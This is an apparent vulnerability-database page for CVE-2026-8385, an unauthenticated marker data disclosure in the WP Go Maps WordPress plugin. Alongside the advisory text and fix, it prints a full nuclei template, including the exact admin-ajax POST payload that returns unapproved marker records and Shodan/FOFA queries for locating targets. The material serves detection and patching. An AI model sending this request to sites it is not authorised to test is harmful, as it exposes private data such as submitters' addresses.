HexBrain

Browse / CVEs / CVE-2026-8385

CVE-2026-8385· developer-developer / wp-google-maps· CWE-200

WordPress WP Go Maps < 10.0.10 - Unauthenticated Marker Data Disclosure

mediumseverity
5.3CVSS score
0.8%likelihood of exploitation, next 30 days
57%of all CVEs are less likely
Readycheck to confirm it

WP Go Maps WordPress plugin < 10.0.10 contains an information disclosure vulnerability caused by improper enforcement of marker approval filter in admin-ajax fallback for datatables route, letting unauthenticated visitors retrieve unapproved marker records.

Impact

Unauthenticated attackers can access unapproved marker data including title, category, address, and description, leading to sensitive information disclosure.

Fix

Update to version 10.0.10 or later.

How to confirm it

Send: GET /wp-content/plugins/wp-google-maps/readme.txt
Positive when: status_code == 200 and contains(body, "WP Google Maps")
Send: POST /wp-admin/admin-ajax.php
Positive when: status_code == 200 and contains(content_type, "application/json") and contains_all(body, "recordsTotal", "recordsFiltered", "address")

Run it with nuclei: nuclei -id CVE-2026-8385 -u <target>

The full check
id: CVE-2026-8385

info:
  name: WordPress WP Go Maps < 10.0.10 - Unauthenticated Marker Data Disclosure
  author: 0x_Akoko
  severity: medium
  description: |
   WP Go Maps WordPress plugin < 10.0.10 contains an information disclosure vulnerability caused by improper enforcement of marker approval filter in admin-ajax fallback for datatables route, letting unauthenticated visitors retrieve unapproved marker records.
  impact: |
    Unauthenticated attackers can access unapproved marker data including title, category, address, and description, leading to sensitive information disclosure.
  remediation: |
    Update to version 10.0.10 or later.
  reference:
    - https://wpscan.com/vulnerability/984cad38-6d01-4956-8bf1-29585258780b/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-8385
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-8385
    epss-score: 0.00801
    epss-percentile: 0.56933
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 2
    vendor: developer-developer
    product: wp-google-maps
    framework: wordpress
    shodan-query: http.html:"wp-google-maps"
    fofa-query: body="wp-google-maps"
  tags: cve,cve2026,wordpress,wp-plugin,wp,wp-google-maps,exposure

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/wp-google-maps/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "WP Google Maps")'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wpgmza_rest_api_request&route=%2Fdatatables%2F&phpClass=WPGMZA%5CMarkerDataTable&map_id=1&length=10&start=0&draw=1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "recordsTotal", "recordsFiltered", "address")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from